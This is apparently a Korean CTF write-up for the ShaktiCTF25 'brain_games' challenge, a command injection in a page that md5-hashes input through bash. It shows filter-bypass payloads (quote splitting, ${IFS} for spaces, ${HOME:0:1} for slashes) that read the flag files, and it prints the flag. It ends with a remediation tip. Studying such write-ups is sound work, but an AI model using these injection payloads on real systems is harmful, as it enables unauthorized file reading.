본문 바로가기
분류 전/CTF

[ShaktiCTF25] brain_games 풀이

by jwcs 2025. 7. 30.
728x90
반응형

개요

Command Injection 문제다.

 

기능 분석

/

위와 같이 무언가를 입력할 수 있는 페이지가 첫 페이지에 나온다.

 

무언가를 입력하면 md5로 해싱해서 보여준다.

 

익스플로잇

 

`;`를 입력하면 위와 같은 에러가 발생한다. 그럼 서버의 구성을 예상해보면

 

 bash -c 'echo {userInput} | md5sum'

똑같이 구성했을 때 되지는 않았지만 이와 유사한 방식으로 할 것으로 예상된다. 따라서 command injection이 가능하다.

 

ls나 cat과 공백 문자 등등이 필터링되어 있다. 이를 우회하여 flag를 읽으면 될 것이다.

 

l''s;

와 같이 입력하니 필터링을 우회하여 명령어를 실행시킬 수 있다.

 

flag 앞 부분

ca''t${IFS}user.txt

공백 문자열 필터링은 ${IFS}를 통해 우회할 수 있다.

 

그럼 flag의 앞부분을 구할 수 있다. 다음은 /usr/local을 읽어야하는데, `/`도 필터링되어 있다.

 

l''s${IFS}${HOME:0:1}usr${HOME:0:1}local;

슬래시는 ${HOME:0:1}로 우회할 수 있다.

 

wsl에서 테스트해보면 위와 같이 home 디렉터리를 나타내는 문자열을 보여준다. 이걸 `:`로 몇 번째 문자부터 몇 글자를 출력할 지 설정할 수 있다.

1번째 인덱스부터 2글자 출력

위와 같이 1번째 인덱스부터 2글자 출력을 시킬 수도 있다.

 

flag 뒷 부분

ca''t${IFS}${HOME:0:1}usr${HOME:0:1}local${HOME:0:1}flag;

위와 같이 flag 뒷 부분까지 구할 수 있다.

 

shaktictf{n0on3_l1k3s_5ar4h}

합치면 위와 같은 flag를 구할 수 있다.

 

대응 방안

  • bash로 md5 해싱하여 보여줄 필요는 없을 것이다. 서버가 flask로 구성되어 있는데 flask의 기능을 이용하여 해싱해서 보여준다면 보다 안전할 것이다.
728x90
반응형

'분류 전 > CTF' 카테고리의 다른 글

[WHY 2025 CTF] Buster 풀이  (2) 2025.08.14
[WHY 2025 CTF] Planets 풀이  (3) 2025.08.14
[ShaktiCTF25] Hooman 풀이  (3) 2025.07.30
[ShaktiCTF25] FRIENDS 풀이  (2) 2025.07.30
[DownUnderCTF 2025] rocky 풀이  (0) 2025.07.22